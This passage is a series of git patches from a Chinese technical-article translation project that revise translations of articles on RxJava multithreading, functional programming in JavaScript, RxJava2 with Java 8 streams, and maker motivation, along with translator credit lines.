 这个建议适用于所有的创作者。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品缔造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 然而现在， Baremetrics 每个月都会有 60，000 美金进账。
+在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的采访中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 然而现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
@@ -39,7 +39,7 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
+另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到流程图一类的东西，并常常带来有价值的投入。
 
 我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
@@ -83,7 +83,6 @@
 
 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
 
 ---
 

From 9adaad4fe374f2caf5ea1914f62f9a81d30c60be Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 10:05:57 +0800
Subject: [PATCH 145/638] :memo: Adjust the translator's information format

(#1435)
---
 TODO/beyond-browser-web-desktop-apps.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index f40c59cd68e..56eefc24934 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)
 > * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： [bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)
-> * 校对者：[bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)/[sunui](https://github.com/sunui)
+> * 译者： [bambooom](https://github.com/bambooom)、[imink](https://github.com/imink)
+> * 校对者：[bambooom](https://github.com/bambooom)、[imink](https://github.com/imink)、[sunui](https://github.com/sunui)
 
 ## 超越浏览器：从 web 应用到桌面应用
 

From 38ccbc8b663fc62fb2dce80af2bc6d760b3b4dbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 10:32:35 +0800
Subject: [PATCH 146/638] Add image.

---
 ...-and-rise-of-functional-programming-composable-software.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index 608366c3f41..dce44040646 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -90,8 +90,8 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 [![](https://i.embed.ly/1/display/resize?url=https%3A%2F%2Fpbs.twimg.com%2Fprofile_images%2F3722564505%2Fb8030b8f3990875e8f38ed877fdf8d25_bigger.png&key=4fce0568f2ce49e8b54624ef71a8a5bd&width=40)](https://video.twimg.com/tweet_video/CmectVVVUAAsvpo.mp4)
 
-
-我一直在告诉大家 [JavaScript] 并不是一门玩具语言。现在我需要展示它。[#StarWars](https://twitter.com/hashtag/StarWars?src=hash) [@BrendanEich](https://twitter.com/BrendanEich)
+![](http://ww1.sinaimg.cn/large/006tNbRwgy1fekui0p6i3j30j50hcmyn.jpg)
+我一直在告诉大家 #JavaScript 并不是一门玩具语言。现在我需要展示它。
 
 在 2015 年，使用函数的组合来编写软件又开始流行起来。为了更简单化，JavaScript 规范获得的数十年来第一次主要的更新并且添加了箭头函数，为了更简单的编写和读取函数、柯里化，和 lambda 语句。
 

From d7bb3d2a8c355b62b64ac5c987746005bde080fd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 10:34:39 +0800
Subject: [PATCH 147/638] Delete unnecessary image.

---
 ...ll-and-rise-of-functional-programming-composable-software.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index dce44040646..577d3d97d34 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -88,8 +88,6 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在大概 2006 年以前，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它里面隐藏着一些极其强大的特性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。
 
-[![](https://i.embed.ly/1/display/resize?url=https%3A%2F%2Fpbs.twimg.com%2Fprofile_images%2F3722564505%2Fb8030b8f3990875e8f38ed877fdf8d25_bigger.png&key=4fce0568f2ce49e8b54624ef71a8a5bd&width=40)](https://video.twimg.com/tweet_video/CmectVVVUAAsvpo.mp4)
-
 ![](http://ww1.sinaimg.cn/large/006tNbRwgy1fekui0p6i3j30j50hcmyn.jpg)
 我一直在告诉大家 #JavaScript 并不是一门玩具语言。现在我需要展示它。
 

From 09e5fb0658df415a4da89ce8b0fc8d68d6f5cee6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 10:35:19 +0800
Subject: [PATCH 148/638] Update
 the-rise-and-fall-and-rise-of-functional-programming-composable-software.md

---
 ...all-and-rise-of-functional-programming-composable-software.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index 577d3d97d34..1b0a3b7c98c 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -89,6 +89,7 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在大概 2006 年以前，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它里面隐藏着一些极其强大的特性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。
 
 ![](http://ww1.sinaimg.cn/large/006tNbRwgy1fekui0p6i3j30j50hcmyn.jpg)
+
 我一直在告诉大家 #JavaScript 并不是一门玩具语言。现在我需要展示它。
 
 在 2015 年，使用函数的组合来编写软件又开始流行起来。为了更简单化，JavaScript 规范获得的数十年来第一次主要的更新并且添加了箭头函数，为了更简单的编写和读取函数、柯里化，和 lambda 语句。

From 61ba93b7f49d64895f6a01c150acf9c57f1ff8b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 10:38:50 +0800
Subject: [PATCH 149/638] Update article link.

---
 ...ll-and-rise-of-functional-programming-composable-software.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index 1b0a3b7c98c..a529896a3c1 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -100,7 +100,7 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 你在阅读下一部分时，可以使用实例实验，记住要把你自己当孩子一样把其他的思想扔在一边在学习中去探索和玩耍。重新发现孩童时发现新事物的欣喜。让我们来做一些魔术吧。
 
-[接下来的第二部分：“为什么要用 JavaScript 学习函数式编程？”]
+[接下来的第二部分：“为什么要用 JavaScript 学习函数式编程？”](https://github.com/xitu/gold-miner/blob/master/TODO/why-learn-functional-programming-in-javascript-composing-software.md)
 
 ### 下一步
 

From 4aa2181333f014def4d8f91742f5381eb0c788fc Mon Sep 17 00:00:00 2001
From: PhxNirvana <phx-sc@qq.com>
Date: Thu, 13 Apr 2017 11:16:51 +0800
Subject: [PATCH 150/638] Update multithreading-with-rxjava-dadddc.md

---
 TODO/multithreading-with-rxjava-dadddc.md | 73 ++++++++++++-----------
 1 file changed, 37 insertions(+), 36 deletions(-)

diff --git a/TODO/multithreading-with-rxjava-dadddc.md b/TODO/multithreading-with-rxjava-dadddc.md
index f2c11d0df96..d81eb058383 100644
--- a/TODO/multithreading-with-rxjava-dadddc.md
+++ b/TODO/multithreading-with-rxjava-dadddc.md
@@ -1,24 +1,25 @@
+
 > * 原文地址：[Multithreading with RxJava](https://android.jlelse.eu/multithreading-with-rxjava-dadddc4f7a63#.yghtx4u43)
 > * 原文作者：[Pierce Zaifman](https://android.jlelse.eu/@PierceZaifman?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[PhxNirvana](https://github.com/phxnirvana)
 > * 校对者：
 
-# Multithreading with RxJava #
+# RxJava 中的多线程 #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*PD7aznI_MSxRwXI37a7mtg.jpeg">
 
-Most of the code I’ve ever written for Android is fast enough that speed has never been a concern. Until a few weeks ago when I was working on an app that reads and analyzes large files.
+大多数情况下，我写的 Android 代码都是可以流畅运行的，因此，速度从不是我考虑的问题。但几周前我处理一个读取和分析大文件的 app 时，浮现出了这一问题。
 
-While I expect users to understand that a larger file will take longer to process, at some point they will give up on my app. Either because they think the app isn’t working, or they simply aren’t willing to wait that long. So if I can cut that time in half or less, it’s certainly worth doing.
+尽管我期望用户明白文件越大，耗时越长的道理，有时候他们仍会放弃我的应用。他们可能认为应用卡住了，也可能是因为他们就不想等那么久。所以如果我能把时间砍一半或更多的话，一定会大有裨意的。
 
-#### First attempt ####
+#### 初体验 ####
 
-Since I’ve been using RxJava for all of my background jobs, it made sense to try to do the same for this. Essentially I have some code that looks like this:
+因为我所有后台任务都用 RxJava 重写了，所以继续用 RxJava 来解决这个问题也是自然而然的。尤其是我还有一些如下所示的代码：
 
 ```
 List<String> dataList;
-//dataList gets populated here
+//这里是数据列表
 
 List<DataModel> result = new ArrayList<>();
 for (String data : dataList) {
@@ -26,80 +27,80 @@ for (String data : dataList) {
 }
 ```
 
-So, I just tried to stick each iteration of the loop into a background thread. You can see what I did below:
+所以我只是想把循环的每个操作放到一个后台线程中。如下所示：
 
 ```
 List<String> dataList;
-//dataList gets populated here
+//这里是数据列表
 
 List<Observable<DataModel>> tasks = new ArrayList<>();
 
 for (String data : dataList) {
     tasks.add(Observable.just(data).subscribeOn(Schedulers.io()).map(s -> {
-        // returns a DataModel object
+        // 返回一个 DataModel 对象
         return DataParser.createData(s);
     }));
 }
 
 List<DataModel> result = new ArrayList<>();
 
-// Wait for everything to finish and collect the results
+// 等待运行结束并收集结果
 for (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {
     result.add(dataModel);
 }
 ```
 
-It did speed it up, it was running in about half the time. But, it was causing a lot of garbage collection (GC), which made the UI very stuttery and janky while it was loading. To try to understand what was happening, I added a log to print out `Thread.currentThread().getName()`. This made me realize that I was actually spawning a new thread for each piece of data. As it turns out, spawning thousands of threads is not a good idea.
+的确起作用了，时间减少了近一半。但也导致大量垃圾回收（GC），这使得加载时的 UI 又卡又慢。为了搞清楚问题的原因，我加了一句 log 打印如下信息 `Thread.currentThread().getName()`。 这样我就搞清楚了，我在处理每一段数据时都新建了线程。正如结果所示，创建上千个线程并不是什么好主意。
 
-#### Second attempt ####
+#### 二进宫 ####
 
-I’ve already accomplished my goal of speeding up the data processing, but it’s not running very smoothly. I was also wondering if it could run even faster if it didn’t cause so much GC. So instead of spawning a new thread, I created my own limited thread pool for RxJava to use:
+我已经完成了加速数据处理的目标，但运行起来并不那么流畅。我想知道如果不触发这么多 GC 的话还能不能跑得再快点。所以作为直接创建新线程的代替，我建立了我自己的限定线程数量的线程池提供给 RxJava 使用：
 
 ```
 List<String> dataList;
-//dataList gets populated here
+//这里是数据列表
 
 List<Observable<DataModel>> tasks = new ArrayList<>();
 
-// Get the max number of threads we could have
+// 取得能够使用的最大线程数
 int threadCount = Runtime.getRuntime().availableProcessors();
 ExecutorService threadPoolExecutor = Executors.newFixedThreadPool(threadCount);
 Scheduler scheduler = Schedulers.from(threadPoolExecutor);
 
 for (String data : dataList) {
     tasks.add(Observable.just(data).subscribeOn(scheduler).map(s -> {
-        // returns a DataModel object
+        // 返回一个 DataModel 对象
         return DataParser.createData(s);
     }));
 }
 
 List<DataModel> result = new ArrayList<>();
 
-// Wait for everything to finish and collect the results
+// 等待运行结束并收集结果
 for (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {
     result.add(dataModel);
 }
 ```
 
-For a dataset where each piece of data was quite large, this resulted in a further time savings of roughly 10%. However, for a dataset where each piece of data was small, it reduced the processing time by roughly 30%. It also reduced the number of GC calls, but there were still too many.
+对于单个数据都很大的数据集来说，这样减少了约 10% 的数据处理时间。然而，对于单个数据都很小的数据集就减少了约 30% 的时间。这同时也减少了 GC 的数量，但 GC 还是太频繁。
 
 #### Third attempt ####
 
-I had one more idea — what if the overhead of managing and switching threads was slowing it down? To get around this, I could group my data into one sublist per thread. That way it would still run in parallel, but the management of each thread would be minimal. I adapted the solution [here](https://github.com/ReactiveX/RxJava/issues/3532#issuecomment-157509946)  to implement this idea:
+我有一个新想法——如果性能的瓶颈是线程的管理和切换会怎么样？为了克服这个问题，我可以将数据按照线程来拆分。这样虽然仍是并发运行，但对每个线程的管理将大大减小。我尝试使用 [这里](https://github.com/ReactiveX/RxJava/issues/3532#issuecomment-157509946) 的解决方法来实现我的想法：
 
 ```
 List<String> dataList;
-//dataList gets populated here
+//这里是数据列表
 
 
-// Get the max number of threads we could have
+// 取得能够使用的最大线程数
 int threadCount = Runtime.getRuntime().availableProcessors();
 ExecutorService threadPoolExecutor = Executors.newFixedThreadPool(threadCount);
 Scheduler scheduler = Schedulers.from(threadPoolExecutor);
 
 AtomicInteger groupIndex = new AtomicInteger();
 
-// Split the data into groups by thread number, then process each group on their own thread
+// 以线程数量为依据分组数据，将每组数据放到它们自己的线程中
 Iterable<List<DataModel>> resultGroups = 
     Observable.from(dataList).groupBy(k -> groupIndex.getAndIncrement() % threadCount)
         .flatMap(group -> group.observeOn(scheduler).toList().map(sublist -> {
@@ -112,24 +113,24 @@ Iterable<List<DataModel>> resultGroups =
 
 List<DataModel> result = new ArrayList<>();
 
-// Wait for everything to finish and collect the results
+// 等待运行结束并收集结果
 for (List<DataModel> dataModels : resultGroups) {
     result.addAll(dataModels);
 }
 ```
 
-Previously I mentioned testing with two datasets. The first had large individual items but fewer total items. The second had many more total items, but each item was smaller. When I ran this solution against the first dataset, the difference was negligible. But, when I ran it on the second, longer dataset, the change was dramatic. With my previous approach it took about 20 seconds to process this dataset. Now, it takes about 5 seconds.
+上文中我提到用两组数据测试，一组单个数据大但总数少，另一组单个数据小但数量多。当我再次测试时，第一组数据几乎没差别，而第二组改变相当大。之前几乎要 20秒，现在只需 5秒。
 
-The reason the second dataset was sped up so much, is because of the number of data items. For each item, it has to schedule a thread to do the work. Now that I’ve reduced this scheduling work, there’s very little overhead.
+第二组数据运行时间改进如此大的原因是数量的改变。每个数据都需要指定工作线程，而现在减少了指定线程时的工作量，性能也从而提升了。
 
 #### Clean up ####
 
-There’s a few places in my code where I need to do this parallel work. So I refactored this solution into a util method that can be called anywhere:
+上面的代码要执行并发还有一些地方需要修改，所以我重新用 util 整理了代码，增加了这段代码的通用性：
 
 ```
 /**
  * Will process the data with the callable by splitting the data into the specified number of threads.
- * <b>T</b> is ths type of data being parsed, and <b>U</b> is the type of data being returned.
+ * <b>T</b> 是要被处理的数据类型，<b>U</b> 是返回的数据类型
  */
 public static <T, U> Iterable<U> parseDataInParallel(List<T> data, Func1<List<T>, U> worker) {
     int threadCount = Runtime.getRuntime().availableProcessors();
@@ -161,20 +162,20 @@ for (List<DataModel> dataModels : resultGroups) {
 }
 ```
 
-Here `T` is the type being processed, in the example that would be `DataModel`. You pass in a `List<T>` to be processed, and expect a result `U`. In my example `U` is `List<DataModel>`, but it could be anything, it doesn’t have to be a list either. The worker function being passed in is what does the processing of each sublist, and returns a result.
+这里 `T` 是被处理的数据类型，样例中是`DataModel`。传入待处理的 `List<T>` 并期望结果是 `U`。在我的样例中 `U` 是 `List<DataModel>`，但它可以是任何东西，并不一定是一个 list。被传入的工作方法处理每个子列表并返回结果。
 
-#### Can we make it faster? ####
+#### 可以再快点么？ ####
 
-There are many factors at play here that affect how fast this can run. Like how the threads are managed, how many threads are available, what kind of device the app is running on, etc. Most of these I can’t control, but there was something else I didn’t consider with my solution.
+事实上影响运行速度的因素有许多。比如线程管理方式，线程数，设备等。大多数因素我无法控制，但总有一些是我没有考虑到的。
 
-What if the data isn’t split evenly? For example, if I have 4 threads, what if every data item assigned to the 4th thread is 10 times larger than any other item? Then the 4th thread will end up running roughly 10 times longer than any other thread. In that case I won’t save much time with multithreading. The second approach I had actually solves this problem, since a thread is only assigned as it becomes available. But that solution was too slow.
+如果数据不是平均分配的会怎么样？举个例子，如果有 4 个线程，第四个线程数据量是其他的 10 倍会怎么样？这时第四个线程的耗时就是其他线程的大约 10 倍。这种情况下使用多线程就不会减少多少时间。我的第二次尝试基本解决了这个问题，因为线程只在需要时才初始化。但这个方法太慢了。
 
-I also tried to change how the data is grouped into sublists. Instead of doing it arbitrarily, I could keep track of the total size of the data in each group. Then, assign each data item to whichever list is the smallest. This way, the amount of work done by each thread is close to being equal. Unfortunately, in testing this solution I found the time it takes to do this extra setup usually costs more time than it saves.
+我也试过改变数据分组方式。作为随意分配的取代，我可以跟踪每一组数据的总量，然后将数据分配给最少的那组。这样每个线程的工作量就接近平均了。倒霉的是，测试之后发现这样做增加的时间远大于它节省的时间。
 
-Depending on how unevenly you expect your data to be split up, running it this way may actually be faster. But for the most part, it seems like just randomly splitting up the data is faster. Ideally if each thread could be assigned when available, with minimal overhead, it would be the most efficient solution. But, I couldn’t find a way to reduce the overhead enough to make it worth it.
+这么做可能会更快，（结果）取决于原始数据有多不平均。但大多数情况下，随机分配看起来更快些。理想情况下是每个线程一有空就分配任务，同时执行分配所消耗的资源也少，这是最高效的。但我找不到一个足够高效的可以减少分配瓶颈的方法。
 
 #### Final thoughts ####
 
-So if you need to run some code in parallel, here’s one approach. Let me know what you think, there are many variables at play here. It’s difficult to determine the optimal solution, if there even is one. Also remember, just because you *can* run something in parallel doesn’t mean you *should*.
+所以如果你想要并发运行一些代码，这里提供一种方法。让我知道你的想法，这里还有许多考验控制的变量。得到一个最优解（如果有的话）总是很难的。以及，**能**并发执行并不意味着**必须**用并发。
 
-### If You Enjoyed Reading, Please Click That Little Heart. If You Want To Read More Like This, Follow Me On [Medium](https://medium.com/@piercezaifman) . Thanks! ###
+### 如果有收获的话，轻轻扎一下小红心吧老铁。想阅读更多，在 [Medium](https://medium.com/@piercezaifman) 关注我。谢谢！（顺便关注一下 [译者](https://juejin.im/user/57a16f4e6be3ff00650682d8) 233） ###

From eb33e6ae1b32c8e99838d3a9195cdeba9759e8ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=94=85=E7=82=89=E5=B7=A5?= <BoilerYao@gmail.com>
Date: Thu, 13 Apr 2017 12:50:46 +0800
Subject: [PATCH 151/638] modified according to @GitFuture 's revison

---
 ...ava-8-stream-android-rxjava2-hell-part4.md | 92 +++++--------------
 1 file changed, 21 insertions(+), 71 deletions(-)

diff --git a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
index b0b63eeb7c5..c496724c8e2 100644
--- a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
+++ b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
@@ -1,8 +1,8 @@
 > * 原文地址：[War against Learning Curve of RxJava2 + Java8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者： [Boiler Yao](https://github.com/boileryao)
+> * 校对者： [Vivienmm](https://github.com/Vivienmm)、[GitFuture](https://github.com/GitFuture)
 
 
 ## 大战 RxJava2 和 Java8 Stream [ Android RxJava2 ] （这到底是什么） 第四部分 ##
@@ -11,17 +11,16 @@
 
 又是新的一天，如果学点新东西，这一天一定会很酷炫。
 
-小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经做好准备，可以开始使用 Rx 了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，我还感觉通过使用 Java8 的流式 API 会让 RxJava2 Android 的学习曲线更简单。
-
+小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经做好准备，可以开始使用 Rx 了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，而且通过使用 Java8 的 Stream API 让我感觉学习 RxJava2 Android 的过程更简单。
 **动机：**
 
-动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候，我并不知道我该怎样使用、在什么地方使用它。
+动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候，我并不知道自己会在什么地方，以何种方式使用到它。
 
-现在我们已经学会了一些预备知识，但当时我什么都不知道。我那时从学习如何从数据或对象创建 Observable 开始。然后学会当 Observable 数据上发生变化时，去调用哪些接口（或者可以叫做“回调”）。这在理论上很棒，但是当我付诸实践的时候，GG了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我有命令式编程和面向对象编程的背景，由于先入为主，所以对我来说理解会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你跟着这篇文章看下来，我可以 100% 保证你会知道怎样把命令式代码转换到 Rx 代码，虽然写出来的 Rx 代码可能不是很好，但是你起码知道怎么开始。
+现在我们已经学会了一些预备知识，但当时我什么都不懂。因此我开始学习如何根据数据或对象创建 Observable 。然后知道了当 Observable 的数据发生变化时，应该调用哪些接口（或者可以叫做“回调”）。这在理论上很好，但是当我付诸实践的时候，却 GG 了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我熟悉命令式编程和面向对象编程，由于先入为主，所以对我来说理解响应式会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你能坚持看完这篇文章，我可以 100% 保证你会知道怎样把命令式代码转换成 Rx 代码，虽然写出来的 Rx 代码不是最好的，但至少你知道该从哪里入手了。
 
 **回顾：**
 
-我想回顾之前三篇文章中我们提到过的所有概念 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)、[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)、 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。因为现在我们要用到这些概念了。在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 我们学习了观察者模式； 在 [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) 学习了拉模式和推模式、命令式和响应式；在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 我们学习了函数式接口（Functional Interfaces）、 接口默认方法（Default Methods）、高阶函数（Higher Order Functions）、函数的副作用（Side Effects in Functions）、纯函数（Pure Functions）、Lambda 表达式和函数式编程。我在下面写了一些定义（很无聊的东西）。如果你早就记得的话，可以跳到下一部分。
+我想回顾之前三篇文章中我们提到过的所有概念 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)、[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)、 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。因为现在我们要用到这些概念了。在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 我们学习了观察者模式； 在 [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) 学习了拉模式和推模式、命令式和响应式；在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 我们学习了函数式接口（Functional Interfaces）、 接口默认方法（Default Methods）、高阶函数（Higher Order Functions）、函数的副作用（Side Effects in Functions）、纯函数（Pure Functions）、Lambda 表达式和函数式编程。我在下面写了一些定义（很无聊的东西）。如果你清楚这些定义，可以跳到下一部分。
 **函数式接口是只有一个抽象方法的接口。**
 **在 Java8 我们可以在接口中定义方法，这种方法叫做“默认方法”。**
 **至少有一个参数是函数的函数和返回类型为函数的函数称为高阶函数。**
@@ -30,7 +29,7 @@
 
 **简介：**
 
-今天我们将向 RxJava 的学习曲线宣战。我确定在最后我们会取得胜利。
+今天我们将向 RxJava 的学习宣战。我确定在最后我们会取得胜利。
 
 作战策略：
 
@@ -54,7 +53,7 @@ Stream:
 
 第一个问题：在英语中 Stream 是什么意思？
 
-答案：一条很窄的小河，或者源源不断流动的液体、空气、气体。在编程的时候把数据转化成“流”的形式，比如我有一个字符串但是我想把它变成“流”来使用我需要干些什么，我需要创建一个机制，使这个字符串满足“源源不断流动的液体、空气、气体 {**或者数据**}”的定义。问题是，我们为什么想要自己的数据变成“流”呢，下面是个简单的例子。
